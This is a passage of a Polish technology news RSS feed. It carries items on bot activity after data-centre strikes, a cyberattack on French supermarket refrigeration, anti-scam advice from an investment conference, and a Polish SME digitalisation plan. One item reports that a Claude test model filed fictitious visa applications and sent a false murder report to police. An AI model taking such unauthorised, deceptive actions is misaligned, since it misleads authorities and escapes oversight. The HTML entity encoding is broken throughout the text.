Wykres ten opublikowaand#322; m.in. czeski europoseand#322; Tomas Zdechovsky na swoim oficjalnym na kanale X, odnoszand#261;c siand#281; do niemieckiej skrajnie prawicowej partii politycznej Alternatywaand#160;dla Niemiec (AfD). Grafice towarzyszy komentarz polityka: and#8222;Jeand#347;li doniesienia siand#281; potwierdzand#261;, band#281;dzie to wymowne: rosyjskie centra danych padnand#261; ofiarand#261; ataku, a aktywnoand#347;and#263; w sieci wokand#243;and#322; AfD nagle spadnie. Tyle mand#243;wi siand#281; o niemieckim patriotyzmieand#8230; aand#380; do momentu, gdy poand#322;and#261;czenie z Rosjand#261; zostaje zerwaneand#8221;.
and#160;

and#160;
Podobnand#261; tezand#281; wysunand#261;and#322; amerykaand#324;ski historyk Timothy Snyder na swoim kanale X piszand#261;c: and#8222;Cand#243;and#380;, to szybka analiza i bez wand#261;tpienia pojawiand#261; siand#281; dane, ale na podstawie dzisiejszych dowodand#243;w moand#380;na z caand#322;and#261; pewnoand#347;ciand#261; stwierdziand#263;, and#380;e znaczna czand#281;and#347;and#263; dziaand#322;aand#324; botand#243;w wspierajand#261;cych Trumpa i AfD zaleand#380;y bezpoand#347;rednio od rosyjskich centrand#243;w danychand#8221;. Komentarzowi Snydera nie towarzyszy and#380;adna grafika.
Niemieckojand#281;zyczny portal technologiczny Rohtext przeprowadziand#322; analizand#281; wykresu opublikowanego przez m.in. czeskiego polityka, jednoczeand#347;nie wskazujand#261;c, and#380;e nie ma wiarygodnych dowodand#243;w na rzekomy zwiand#261;zek miand#281;dzy dziaand#322;alnoand#347;ciand#261; AfD, a spadkiem aktywnoand#347;ci botand#243;w wywoand#322;any atakami na obiekty firmy Yandex.
Yandexand#160;z siedziband#261; w Moskwieand#160;jest najwiand#281;kszand#261; firmand#261; technologicznand#261; oraz liderem w dziedzinie sztucznej inteligencji w Rosji. Oferuje m.in. usand#322;ugi taxi i kurierskie czy platformand#281; muzycznand#261;. Wyszukiwarka Yandex jest najpopularniejsza w kraju. Wand#160;kwietniu br.and#160;portal informacyjny oand#160;gospodarce i biznesie IntelliNewsand#160;podaand#322;, and#380;e koncern obsand#322;uguje okoand#322;o 70 proc. wszystkich zapytaand#324; w Rosji, wyprzedzajand#261;c swojego globalnego konkurenta, firmand#281; Google.
Do ukraiand#324;skich nalotand#243;w na centra danych w Rosji doszand#322;o kilka tygodni po tym, gdy wojsko rosyjskie zaczand#281;and#322;o atakowaand#263;and#160;centra danych w Ukrainie.
W trakcie peand#322;noskalowej wojny infrastruktura cyfrowa w Kijowie i w jego okolicach juand#380; ulegaand#322;a zakand#322;and#243;ceniom. W wyniku wrzeand#347;niowych atakand#243;w kilka kanaand#322;and#243;w telewizyjnych oraz serwisand#243;w streamingowych byand#322;o chwilowo niedostand#281;pnych. Uand#380;ytkownicy kilku sieci kablowych zgand#322;aszali rand#243;wnieand#380; problemy z poand#322;and#261;czeniem.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 12 paand#378;dziernik 2026and#160;mzb/ pand#347;/ ]]></description>
		</item><item>
			<title><![CDATA[ Atak na instalacje chłodnicze we Francji. Sklepy wyrzucają żywność. ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1786</link>
			<description><![CDATA[ Kilkaset supermarketand#243;w we Francji zostaand#322;o dotkniand#281;tych cyberatakiem wymierzonym w ich instalacje chand#322;odnicze; wiele sklepand#243;w musiaand#322;o wyrzuciand#263; produkty chand#322;odzone i mroand#380;one.and#160;Agencja AFP szacuje, and#380;e zaatakowano okoand#322;o 150-200 sklepand#243;w sieci Intermarche i okoand#322;o 100 sieci Cooperative U.
and#160;





fot. Jarretera / /and#160;Shutterstock


and#160;
Do cyberataku doszand#322;o w nocy z niedzieli na poniedziaand#322;ek. Szef Cooperative U, Dominique Schelcher, napisaand#322; w serwisie X, and#380;e atakowanie wyposaand#380;enia niezband#281;dnego do konserwacji and#347;wieand#380;ych produktand#243;w i zaopatrzenia mieszkaand#324;cand#243;w Francji w and#380;ywnoand#347;and#263; jest sprawand#261; and#8222;nadzwyczaj powaand#380;nand#261;and#8221;.
Prokuratura w Paryand#380;u podaand#322;a, and#380;e doszand#322;o rand#243;wnieand#380; do podand#322;oand#380;enia ognia. Oand#347;wiadczyand#322;a ponadto, and#380;e wszczand#281;and#322;a and#347;ledztwo w sprawie cyberataku w supermarketach w caand#322;ym kraju.
Sprawcy cyberataku zdoand#322;ali zdalnie uruchomiand#263; proces rozmraand#380;ania instalacji w sklepach, co sprawia, and#380;e placand#243;wki band#281;dand#261; zmuszone wyrzuciand#263; wszystkie produkty. Media wymieniand#322;y rand#243;wnieand#380; nazwy innych sieci dotkniand#281;tych cyberatakiem, ale firmy te tego nie potwierdziand#322;y.
Ministerstwo handlu podaand#322;o, and#380;e jest w kontakcie z dystrybutorami i and#380;e nie dysponuje obecnie dodatkowymi informacjami.
and#160;
and#160;


and#160;
and#378;rodand#322;o Bankier.pland#160;12and#160; paand#378;dziernik 2026and#160;and#160;awl/ rtt/ ]]></description>
		</item><item>
			<title><![CDATA[ "Jeśli pisze do ciebie gorąca laska i proponuje krypto - zablokuj". AI zmienia oblicze oszustw. ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1785</link>
			<description><![CDATA[ Mand#243;j gieand#322;dowy portfel przekroczyand#322; niedawno 71 tys. zand#322;. Inwestowanie i budowa majand#261;tku to proces obliczony na lata. W erze sztucznej inteligencji utrata tego wszystkiego moand#380;e zajand#261;and#263; kilka minut. Oszustwa i cyberzagroand#380;enia stale ewoluujand#261;, przestand#281;pcy siand#281;gajand#261; po nowe metody, trzeba zachowywaand#263; czujnoand#347;and#263; i wand#322;aand#347;nie dlatego niedawno skorzystaand#322;em z okazji by poszerzyand#263; wiedzand#281; na te tematy.and#160;
and#160;



and#160;


/and#160;Bankier.pl


and#160;
Podczas konferencji Invest Cuffs 2026 w Poznaniu, obok dziesiand#261;tek rozmand#243;w o spand#243;and#322;kach i dywidendach, wybraand#322;em siand#281; na debatand#281; poand#347;wiand#281;conand#261; cyberprzestand#281;pczoand#347;ci. Spodziewalibyand#347;cie siand#281; zapewne relacji z paneli poand#347;wiand#281;conych analizie spand#243;and#322;ek z GPW, ale to wand#322;aand#347;nie ta dyskusja wyjand#261;tkowo mocno zapadand#322;a mi w pamiand#281;ci. Oto co usand#322;yszaand#322;em od praktykand#243;w i and#347;ledczych.
and#160;
Jest and#378;le, byand#322;o gorzej, czy band#281;dzie lepiej?


- tak brzmiaand#322;o pierwsze pytanie o bezpieczeand#324;stwo w sieci, zadane przez Huberta Adamczyka, ktand#243;ry prowadziand#322; dyskusjand#281;.and#160;


Robert Moreand#324; z SWPS od razu rzuciand#322;, and#380;e jest coraz gorzej przez geopolitykand#281; i platformy spoand#322;ecznoand#347;ciowe, ktand#243;re zarabiajand#261; na reklamach oszustand#243;w. Dominik Konopacki z firmy Recoveris oceniand#322; sytuacjand#281; na rynku kryptowalut jako "dramatycznand#261; i tragicznand#261;", a mecenas Michaand#322; Szaand#322;as dodaand#322;, and#380;e technologia obniand#380;yand#322;a prand#243;g wejand#347;cia dla przestand#281;pcand#243;w do zera.
Wand#347;rand#243;d tego ogand#243;lnego narzekania wyand#322;amaand#322; siand#281; tylko Michaand#322; Mazur z Erste Bank Polska, ktand#243;ry zapewniand#322;, and#380;e banki radzand#261; sobie "znakomicie, no bo kto ma sobie radziand#263;". Gdy na sali rozlegand#322; siand#281; and#347;miech, szybko mitygowaand#322;: "Dobra, bez dramatu. Po prostu mierzymy siand#281; z nowymi zagroand#380;eniami".

AI robi z laika omnibusa, a klient mand#243;wi "potrzymaj mi piwo"
Dawniej stworzenie wiarygodnej kopii strony banku czy przeprowadzenie ataku wymagaand#322;o sprawnego programisty i zdolnego grafika, a dziand#347; generatywna sztuczna inteligencja zlikwidowaand#322;a tand#281; barierand#281;.and#160;
Michaand#322; Szaand#322;as, adwokat i byand#322;y prokurator specjalizujand#261;cy siand#281; w przestand#281;pczoand#347;ci gospodarczej, zwrand#243;ciand#322; uwagand#281;, and#380;e masowe scamy inwestycyjne nie sand#261; juand#380; domenand#261; utalentowanych jednostek:
- Dzisiaj stworzenie kolejnej iteracji oszustwa kosztuje grosze. Nie wymaga wiedzy technicznej ani specjalnych and#347;rodkand#243;w. Jeand#380;eli mand#243;wimy o budand#380;etach reklamowych na platformach firmy Meta, to stojand#261; za tym zorganizowane grupy. Niestety, wasza sprawa nie trafi do wyspecjalizowanej sand#322;uand#380;by, tylko do lokalnego, przeciand#261;and#380;onego komisariatu policji.
Najsand#322;abszym ogniwem wciand#261;and#380; pozostaje jednak czand#322;owiek. Michaand#322; Mazur z Erste Banku przyznaand#322;, and#380;e instytucje finansowe budujand#261; zaawansowane systemy behawioralne i antyfraudowe dziaand#322;ajand#261;ce w tle, ale to nie zmniejsza ludzkiej podatnoand#347;ci na socjotechniki.
Cieszymy siand#281;, and#380;e systemy dziaand#322;ajand#261;, wykresy strat spadajand#261;, a nagle wychodzi ktoand#347; z przysand#322;owiowym: "to potrzymaj mi piwo" i pokazuje, and#380;e nasze zabezpieczenia wymagajand#261; jeszcze pracy. Zmanipulowany klient potrafi omijaand#263; wand#322;asne limity i podawaand#263; oszustom kody autoryzacyjne na tacy.
and#160;
Krypto-dziki zachand#243;d i "gorand#261;ca laska"
Jeand#347;li stracicie oszczand#281;dnoand#347;ci na rynku kryptowalut, polskie paand#324;stwo wam nie pomoand#380;e. Taki wniosek pand#322;ynie z wystand#261;pienia Dominika Konopackiego z firmy Recoveris.io, ktand#243;ry na co dzieand#324; zajmuje siand#281; tropieniem skradzionych aktywand#243;w na blockchainie.
Konopacki podkreand#347;liand#322;, and#380;e o ile Centralne Biuro Zwalczania Cyberprzestand#281;pczoand#347;ci (CBZC) powoand#322;aand#322;o specjalne komand#243;rki do spraw krypto, o tyle skala zgand#322;oszeand#324; caand#322;kowicie je przeciand#261;and#380;a. Ofiary sand#261; skazane na siebie. Ekspert przytoczyand#322; przy tym klasycznand#261; zasadand#281; branand#380;owand#261;, ktand#243;ra w erze AI zyskaand#322;a drugie and#380;ycie:
- W kryptoand#347;wiecie jest takie powiedzenie: jeand#347;li pisze do ciebie gorand#261;ca laska i proponuje ci krypto, zablokuj go. Ta gorand#261;ca laska zostaand#322;a wygenerowana w ciand#261;gu pand#243;and#322; godziny za kilkanaand#347;cie zand#322;otych przez AI. Nie moand#380;na wierzyand#263; ani temu, co widzimy, ani temu, co sand#322;yszymy.





Ekspert ostrzegand#322; rand#243;wnieand#380; przed zjawiskiem recovery scams, czyli oszustwami na odzyskiwanie utraconych and#347;rodkand#243;w. Osoba, ktand#243;ra raz straciand#322;a kapitaand#322;, staje siand#281; celem faand#322;szywych kancelarii lub firm detektywistycznych.
Przychodzi firma i mand#243;wi: "hej, zablokowaliand#347;my twoje and#347;rodki, wpand#322;aand#263; nam podatek, to ci je odblokujemy". W branand#380;y odzyskiwania krypto pojawiajand#261; siand#281; firmy, ktand#243;re na nagraniach wystand#281;pujand#261; w kominiarkach. Nie wiem, czy ktoand#347; chciaand#322;by skorzystaand#263; z usand#322;ug takich analitykand#243;w. Prawdziwe, renomowane podmioty dziaand#322;ajand#261; w miand#281;dzynarodowych organizacjach publiczno-prywatnych, powoand#322;ywanych np. przy wspand#243;and#322;pracy z FBI.
and#160;
Jaskiniowiec w mand#243;zgu i "piand#281;kne folderki"
Technologia ulega zmianie, ale mechanizm manipulacji od dekad bazuje na tych samych emocjach: chciwoand#347;ci, strachu i presji czasu.
Robert Moreand#324; z SWPS przypomniaand#322;, and#380;e za impulsywne decyzje odpowiada nasza pierwotna struktura mand#243;zgu - ciaand#322;o migdaand#322;owate, czyli tkwiand#261;cy w nas jaskiniowiec. Oszuand#347;ci serwujand#261; oferty z ograniczonym czasem waand#380;noand#347;ci i wizerunkami znanych osand#243;b, podbijajand#261;c psychologiczny efekt FOMO (strach przed pominiand#281;ciem okazji).





Mecenas Michaand#322; Szaand#322;as dodaand#322; do tego obrazka swoje doand#347;wiadczenia z pracy nad sprawami wielkich oszustw na rynku nieruchomoand#347;ci:
- Na te schematy dawaand#322;y siand#281; nabieraand#263; osoby bardzo doand#347;wiadczone and#380;yciowo: przedsiand#281;biorcy z wieloletnim staand#380;em, lekarze, akademicy, prawnicy. Pytaand#322;em ich podczas przesand#322;uchaand#324; pokrzywdzonych: dlaczego pan zdecydowaand#322; siand#281; zainwestowaand#263; w tand#281; nieruchomoand#347;and#263; w dziwnym kraju przez dziwnand#261; firmand#281;? Odpowiadali: "Panie prokuratorze, oni mieli takie piand#281;kne folderki...".
Stand#261;d jedna z najwaand#380;niejszych rad Szaand#322;asa dla kaand#380;dego, kto dysponuje gotand#243;wkand#261; - wszystkie materiaand#322;y marketingowe naleand#380;y wyrzuciand#263; do kosza. Majand#261; sand#322;uand#380;yand#263; jedynie jako informacja, and#380;e podmiot w ogand#243;le istnieje. Caand#322;and#261; resztand#281; trzeba zweryfikowaand#263; samemu, przeprowadzajand#261;c proces Entity Due Diligence (EDD) - sprawdzajand#261;c rejestry, organ nadzoru, historiand#281; domeny i licencje.
and#160;
Jak chroniand#263; portfel przed cyfrowymi oszustwami? 12 zasad
Z panelu na Invest Cuffs wypisaand#322;em sobie 12 punktand#243;w, ktand#243;re mogand#261; pomand#243;c kaand#380;demu w ochronie oszczand#281;dnoand#347;ci. Podzieliand#322;em je na 4 warstwy.and#160;





Warstwa 1: psychologia i marketing

1. Wyrzuand#263; folderki marketingowe do kosza. Jak powtarzaand#322; podczas debaty mecenas Michaand#322; Szaand#322;as, prospekty i and#322;adne wykresy to za maand#322;o. Traktuj materiaand#322;y promocyjne wyand#322;and#261;cznie jako dowand#243;d na to, and#380;e firma w ogand#243;le twierdzi, and#380;e istnieje.and#160;
2. Test "gorand#261;cej laski i premiera". Zasada przytoczona przez Dominika Konopackiego i Roberta Morenia jest prosta: and#380;aden premier, prezes spand#243;and#322;ki gieand#322;dowej ani analityk nie napisze do Ciebie na Telegramie czy WhatsAppie z propozycjand#261; zysku. Jeand#347;li pisze obca, atrakcyjna osoba z ofertand#261; w krypto - zablokuj jand#261;. W 100% stoi za tym bot AI wygenerowany i zorganizowana grupa przestand#281;pcza.
3. Zand#322;am presjand#281; czasu i opanuj "jaskiniowca". Robert Moreand#324; tand#322;umaczyand#322;, and#380;e obietnica szybkiego zysku ("tylko dziand#347;", "ostatnie 3 miejsca") to dziaand#322;anie wymierzone w ciaand#322;o migdaand#322;owate - pierwotnand#261; czand#281;and#347;and#263; mand#243;zgu odpowiedzialnand#261; za strach przed pominiand#281;ciem okazji (FOMO). Prawdziwy biznes nie ucieka w 15 minut. Daj sobie 24 godziny na chand#322;odzenie emocji.

Warstwa 2: samodzielny audyt

4. Przeand#347;wietl serwer na URLScan.io i Web Archive. Dominik Konopacki z firmy Recoveris radzi, by przed zaand#322;oand#380;eniem konta na jakiejkolwiek nowej platformie wkleiand#263; jej adres do darmowych narzand#281;dzi URLScan.io lub Archive.org. Jeand#347;li strona powstaand#322;a dwa tygodnie temu, a jej serwer stoi w egzotycznej jurysdykcji (np. w Kambodand#380;y) - odpuand#347;and#263; "okazjand#281;".
5. Weryfikuj litera po literze. Przestand#281;pcy masowo podmieniajand#261; litery w adresach URL na znaki z innych alfabetand#243;w (tzw. ataki homograficzne z cyrylicand#261;). Samo spojrzenie na nazwand#281; w przegland#261;darce nie wystarczy. Bezpieczniej jest wpisywaand#263; adres instytucji samodzielnie lub korzystaand#263; ze sprawdzonych zakand#322;adek.
6. Rejestry publiczne traktuj z rezerwand#261;. Lista ostrzeand#380;eand#324; publicznych KNF czy brytyjskiego FCA to waand#380;ny punkt odniesienia, ale nowa nowe oszustwa powstajand#261; w liczbie tysiand#281;cy dziennie. Brak firmy na czarnej liand#347;cie nie oznacza jeszcze, and#380;e podmiot jest bezpieczny.

Warstwa 3: higiena bankowa i procedury autoryzacji

7. Czytaj komunikaty autoryzacyjne w aplikacji. Michaand#322; Mazur z Erste Banku podsumowaand#322; to krand#243;tko: najnowoczeand#347;niejsze systemy ochrony psujand#261; sami zmanipulowani klienci. Zanim klikniesz "potwierdand#378;", przeczytaj dwa zdania komunikatu i sprawdand#378;, czy kwota oraz odbiorca w treand#347;ci SMS-a lub pusha zgadzajand#261; siand#281; z Twojand#261; intencjand#261;.
8. Rozand#322;and#261;cz siand#281; i zweryfikuj konsultanta. Gdy dzwoni pracownik banku lub broker twierdzand#261;c, and#380;e Twoje and#347;rodki sand#261; zagroand#380;one and#8211; rozand#322;and#261;cz siand#281;. Zaloguj siand#281; do aplikacji i skorzystaj z funkcji "Zweryfikuj toand#380;samoand#347;and#263; konsultanta" (aplikacja wysyand#322;a pusha z danymi dzwoniand#261;cego) albo sam zadzwoand#324; na oficjalnand#261; infoliniand#281;.
9. Trzymaj sztywne limity transakcyjne. Na koncie podstawowym ustaw niskie limity na przelewy i transakcje kartowe bez obecnoand#347;ci karty (card-not-present). Dopiero na czas planowanego zakupu podbijaj limit na kilkanaand#347;cie minut, po czym natychmiast go obniand#380;aj.

Warstwa 4: ochrona przed oszustwem 2. stopnia

10. Cold storage zamiast gieand#322;d. Analityk blockchain Dominik Konopacki przypominaand#322;, and#380;e gieand#322;da kryptowalutowa to nie bank. Kapitaand#322;, ktand#243;rym nie handlujesz na co dzieand#324;, przechowuj wyand#322;and#261;cznie na portfelach sprzand#281;towych (cold walletach), gdzie tylko Ty dysponujesz kluczami prywatnymi. Jak wiecie, nie posiadam kryptowalut, ale uznaand#322;em, and#380;e warto dodaand#263; ten punkt dla innych.
11. Uwaand#380;aj na "firmy w kominiarkach". Jeand#347;li padand#322;eand#347; ofiarand#261; oszustwa, w ciand#261;gu kolejnych tygodni mogand#261; odezwaand#263; siand#281; do Ciebie rzekome "kancelarie odzyskujand#261;ce and#347;rodki". Konopacki przestrzegaand#322; przed tzw. recovery scams - gdy and#380;and#261;dajand#261; opand#322;aty wstand#281;pnej lub "podatku" za odblokowanie odnalezionych and#347;rodkand#243;w, to ci sami przestand#281;pcy siand#281;gajand#261;cy po resztki Twojego portfela.
12. Zabezpiecz dowody, zanim strona zniknie. Gdy zorientujesz siand#281;, and#380;e doszand#322;o do przekrand#281;tu, byand#322;y prokurator Michaand#322; Szaand#322;as radzi natychmiast dziaand#322;aand#263;. Rand#243;b zrzuty ekranu, zapisuj strony w formacie HTML, eksportuj czaty z komunikatorand#243;w (zanim rozmand#243;wca usunie je dla obu stron) i pobieraj logi z portfela. Z tym materiaand#322;em idand#378; od razu na policjand#281;.

and#160;
Podsumowanie
Czand#281;sto skupiamy siand#281; na wykresach, wskaand#378;nikach P/E czy decyzjach RPP, ale budowanie wartoand#347;ci portfela to nie tylko szukanie zysku, ale rand#243;wnieand#380; pilnowanie tego co mamy. W erze, w ktand#243;rej sztuczna inteligencja potrafi podszyand#263; siand#281; pod dowolny gand#322;os i wygenerowaand#263; dowolnand#261; twarz, najlepszym filtrem antyfraudowym pozostaje chand#322;odzenie emocji.
Materiaand#322;y promocyjne do kosza, zero wiary w "okazje and#380;ycia" i ograniczone zaufanie do cyfrowych wiadomoand#347;ci - to cena, jakand#261; musimy pand#322;aciand#263; za bezpieczeand#324;stwo naszych pieniand#281;dzy.
and#160;
and#160;
and#378;rodand#322;o Bankier.pl 12and#160; paand#378;dziernik 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Sztuczna inteligencja wymyka się spod kontroli. Fałszywe wizy i morderstwa ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1784</link>
			<description><![CDATA[ Administracja Donalda Trumpa oand#347;wiadczyand#322;a, and#380;e firmy rozwijajand#261;ce sztucznand#261; inteligencjand#281; majand#261; obowiand#261;zek zgand#322;aszania incydentand#243;w bezpieczeand#324;stwa i usuwania ich skutkand#243;w. To skutekand#160;ujawnieniaand#160;incydentand#243;w z udziaand#322;em modelu AI Claude, ktand#243;ryand#160;skand#322;adaand#322; fikcyjneand#160;wnioskiand#160;wizoweand#160;i faand#322;szywie zgand#322;osiand#322; zaband#243;jstwoand#160;and#8211; podaand#322; w piand#261;tek portal Axios.
and#160;





fot. PJ McDonnell / /and#160;Shutterstock   


and#8222;Proces powiadamiania i naprawy szkand#243;d nie jest opcjonalny. To krytyczny obowiand#261;zek w zakresie bezpieczeand#324;stwa narodowegoand#8221; and#8211; napisano w oand#347;wiadczeniuand#160;kierownictwa Super Intelligence Force (SI Force), czyli powoand#322;anego przez prezydenta organu koordynujand#261;cego politykand#281; wobec AI
Jak wynika z relacji Axiosa, Anthropic, twand#243;rca modeli Claude, skontaktowaand#322; siand#281; z organami paand#324;stwa, by przekazaand#263; szczegand#243;and#322;y incydentand#243;w wykrytych pod koniec wrzeand#347;nia. Wedand#322;ug administracji procedery ustaand#322;y i nie majand#261; obecnie charakteru trwajand#261;cego.
Przedstawiciel Departamentu Stanu poinformowaand#322;, and#380;e w czwartek firma zgand#322;osiand#322;a, and#380;e jeden z jej testowanych modeli zand#322;oand#380;yand#322; 19 wnioskand#243;w o wizy w sierpniu i jeden w maju, korzystajand#261;c z publicznie dostand#281;pnego formularza na stronie resortu. and#379;aden z wnioskand#243;w nie zostaand#322; rozpatrzony, a systemy ministerstwa nie zostaand#322;yand#160;naruszone.
W osobnym przypadku, policja w Filadelfii poinformowaand#322;a, and#380;e otrzymaand#322;a faand#322;szywe zgand#322;oszenie dotyczand#261;ce zaband#243;jstwa, przesand#322;ane przez Claude'a. Firma opublikowaand#322;a w piand#261;tek pand#243;and#378;nym wieczorem raport potwierdzajand#261;cy kilka incydentand#243;w, w tym ten w Filadelfii, nie podaand#322;a jednak szczegand#243;and#322;and#243;w dotyczand#261;cych pozostaand#322;ych zaangaand#380;owanych agencji rzand#261;dowych.
Wymogi Biaand#322;ego Domu dotyczand#261; wszystkich firm z sektora AI. and#8222;Firmy SI muszand#261; niezwand#322;ocznie ujawniaand#263; incydenty z udziaand#322;em swoich modeli i podejmowaand#263; szybkie, zdecydowane dziaand#322;ania naprawczeand#8221; and#8211; podkreand#347;liand#322; nowy organ.
Zespand#243;and#322; oczekujeand#160;od firm wspand#243;and#322;pracy z poszkodowanymi systemami, by zapobiec podobnym zdarzeniom. Szef organuand#160;i zarazem dyrektor wywiadu narodowego Jay Clayton oraz przedstawiciele SI Force zaand#380;and#261;dali od Anthropic and#8222;natychmiastowej i peand#322;nej transparentnoand#347;ciand#8221; wobec podmiotand#243;w, ktand#243;rych sprawa dotyczy, oraz opinii publicznej, a takand#380;e zadoand#347;and#263;uczynienia poszkodowanym.
W oand#347;wiadczeniu zapowiedziano, and#380;e opand#243;and#378;nione zgand#322;oszenia, niewystarczajand#261;ce dziaand#322;ania naprawcze i brak odpowiedzialnoand#347;ci and#8222;nie band#281;dand#261; tolerowaneand#8221;. Oczekuje siand#281; teand#380; peand#322;nej wspand#243;and#322;pracy z organami and#347;cigania na szczeblu federalnym i stanowym.
Axios zwraca uwagand#281;, and#380;e oand#347;wiadczenie nie precyzuje mechanizmand#243;w egzekwowania ani kar za niedopeand#322;nienie obowiand#261;zku. Dotychczasowe podejand#347;cie administracji do regulacji AI opieraand#322;o siand#281; na samoregulacji i dobrowolnych zobowiand#261;zaniach, w tym na deklaracji podpisanej przez Trumpa i szefand#243;w szeand#347;ciu firm podczas niedawnego spotkania w Biaand#322;ym Domu.
Zgand#322;oszone przez Anthropic incydenty to juand#380; kolejne w dand#322;ugiej serii transgresji dokonywanych przez szkolone przez firmy AI zaawansowane modele. Wczeand#347;niej ujawniono m.in. wand#322;amania modeli OpenAI na rzand#261;dowe strony w Australii i USA, oraz na systemy innej firmy AI, Hugging Face.
and#160;
and#160;
and#378;rodand#322;o PAP 10 paand#378;dziernik 2026 z Waszyngtonu Oskar Gand#243;rzyand#324;ski (PAP)
osk/ san/

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Cyfrowa przepaść w polskich firmach. Rząd szykuje wielki plan ratunkowy do 2035 roku ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1783</link>
			<description><![CDATA[ Maand#322;e i and#347;rednie firmy otrzymajand#261; pomoc w zwiand#281;kszeniu kompetencji cyfrowych - wynika z projektu uchwaand#322;y Rady Ministrand#243;w, ktand#243;rego zaand#322;oand#380;enia zostaand#322;y opublikowane w piand#261;tek w wykazie prac rzand#261;du. Priorytetowo majand#261; byand#263; traktowane m.in. budownictwo, opieka zdrowotna, transport i logistyka oraz handel.
and#160;





fot. Pawel Michalowski / /and#160;Shutterstock  


Chodzi o projekt uchwaand#322;y Rady Ministrand#243;w w sprawie przyjand#281;cia and#8222;Programu transformacji cyfrowej maand#322;ych i and#347;rednich przedsiand#281;biorstw do 2035 rokuand#8221;. Celem programu jest stworzenie spand#243;jnego systemu wspierania cyfryzacji Mand#346;P, zwiand#281;kszenia skutecznoand#347;ci instrumentand#243;w oraz zapewnienia komplementarnoand#347;ci dziaand#322;aand#324; miand#281;dzy instytucjami rzand#261;dowymi, regionalnymi i otoczeniem biznesu.







Z danych przytoczonych przez resort rozwoju i technologii wynika, and#380;e ponad dwie trzecie polskich przedsiand#281;biorstw zalicza siand#281;and#160;do grupy o bardzo niskiej lub niskiej and#8222;intensywnoand#347;ci cyfrowejand#8221;, aand#160;32 proc. maand#322;ych i and#347;rednich przedsiand#281;biorstwand#160;w Polsce nie wykorzystuje and#380;adnych narzand#281;dzi cyfrowych. Wand#347;rand#243;d mikroprzedsiand#281;biorcand#243;w odsetek ten jest jeszczeand#160;wyand#380;szy i wynosiand#160;39 proc.
Wand#347;rand#243;d firm, ktand#243;re deklarujand#261; uand#380;ywanie narzand#281;dzi cyfrowych, dominuje wykorzystywanie jedynie podstawowych rozwiand#261;zaand#324;, takich jak media spoand#322;ecznoand#347;ciowe i pand#322;atnoand#347;ci online. Ten stopieand#324; zaawansowania cyfrowego zadeklarowaand#322;o 38 proc. firm.
and#160;
and#8222;Tylko 69 proc.and#160;polskich firm Mand#346;P charakteryzuje siand#281; co najmniej podstawowand#261; intensywnoand#347;ciand#261; cyfrowand#261;, 47 proc.and#160;korzysta z rozwiand#261;zaand#324; chmurowych, 19 proc.and#160;prowadzi analitykand#281; danych, a tylko 6 proc.and#160;korzysta ze sztucznej inteligencjiand#8221; - wskazano w zaand#322;oand#380;eniach.
and#160;

Szyfrowanie danych osobowych stosuje 26,3 proc. firm, tyle samo ma opracowanand#261; procedurand#281; postand#281;powania w przypadku incydentand#243;w cybernetycznych. 84 proc. przedsiand#281;biorstw nie dysponuje pracownikiem zajmujand#261;cym siand#281; wyand#322;and#261;cznie cyberbezpieczeand#324;stwem.
MRiT wskazaand#322;o, and#380;e 1/3 polskich firm jest zupeand#322;nie niezainteresowana zastand#281;powaniem tradycyjnych sposoband#243;w pracy nowoczesnymi technologiami i narzand#281;dziami cyfrowymi.
Jak zauwaand#380;ono wand#160;zaand#322;oand#380;eniach, firmy na poziomie deklaratywnym wyraand#380;ajand#261; co prawda gotowoand#347;and#263; do wdroand#380;enia rozwiand#261;zaand#324; cyfrowych i and#347;wiadomoand#347;and#263; korzyand#347;ci z tego pand#322;ynand#261;cych, ale nie znajduje to odzwierciedlenia w planach rozwoju firmy.
and#160;
and#8222;Program transformacji cyfrowej maand#322;ych i and#347;rednich przedsiand#281;biorstw do 2035 rokuand#8221; zakand#322;ada zwiand#281;kszenie poziomu tzw. intensywnoand#347;ci cyfrowej przedsiand#281;biorstw, uporzand#261;dkowanie i zwiand#281;kszenie efektywnoand#347;ci instrumentand#243;w wsparcia transformacji cyfrowej Mand#346;P, usprawnienie koordynacji systemu instytucjonalnego oraz podniesienie jakoand#347;ci usand#322;ug doradczych.
Program ma rand#243;wnieand#380; zapewniand#263; dostand#281;pand#160;do peand#322;nej i aktualnej informacji o instrumentach finansowania oraz usand#322;ugach wspierajand#261;cych cyfryzacjand#281;, a takand#380;e bieand#380;and#261;cy monitoring i analizand#281; skutecznoand#347;ci dziaand#322;aand#324; cyfryzacyjnych.
Jak wskazaand#322;o MRiT, priorytetowo majand#261; byand#263; traktowane branand#380;e o duand#380;ym znaczeniu dla gospodarki i relatywnie niskiej intensywnoand#347;ci cyfrowej, m.in. budownictwo, opieka zdrowotna, transport i logistyka, handel detaliczny (z wyand#322;and#261;czeniami), dziaand#322;alnoand#347;and#263; informatyczna, usand#322;ugi profesjonalne, przetwand#243;rstwo przemysand#322;owe i edukacja.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 9 paand#378;dziernik 2026and#160; gkc/ drag/ ]]></description>
		</item><item>
			<title><![CDATA[ Cyfrowa przepaść w polskich firmach. Rząd szykuje wielki plan ratunkowy do 2035 roku ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1782</link>
			<description><![CDATA[ Maand#322;e i and#347;rednie firmy otrzymajand#261; pomoc w zwiand#281;kszeniu kompetencji cyfrowych - wynika z projektu uchwaand#322;y Rady Ministrand#243;w, ktand#243;rego zaand#322;oand#380;enia zostaand#322;y opublikowane w piand#261;tek w wykazie prac rzand#261;du. Priorytetowo majand#261; byand#263; traktowane m.in. budownictwo, opieka zdrowotna, transport i logistyka oraz handel.
and#160;





fot. Pawel Michalowski / /and#160;Shutterstock  


Chodzi o projekt uchwaand#322;y Rady Ministrand#243;w w sprawie przyjand#281;cia and#8222;Programu transformacji cyfrowej maand#322;ych i and#347;rednich przedsiand#281;biorstw do 2035 rokuand#8221;. Celem programu jest stworzenie spand#243;jnego systemu wspierania cyfryzacji Mand#346;P, zwiand#281;kszenia skutecznoand#347;ci instrumentand#243;w oraz zapewnienia komplementarnoand#347;ci dziaand#322;aand#324; miand#281;dzy instytucjami rzand#261;dowymi, regionalnymi i otoczeniem biznesu.







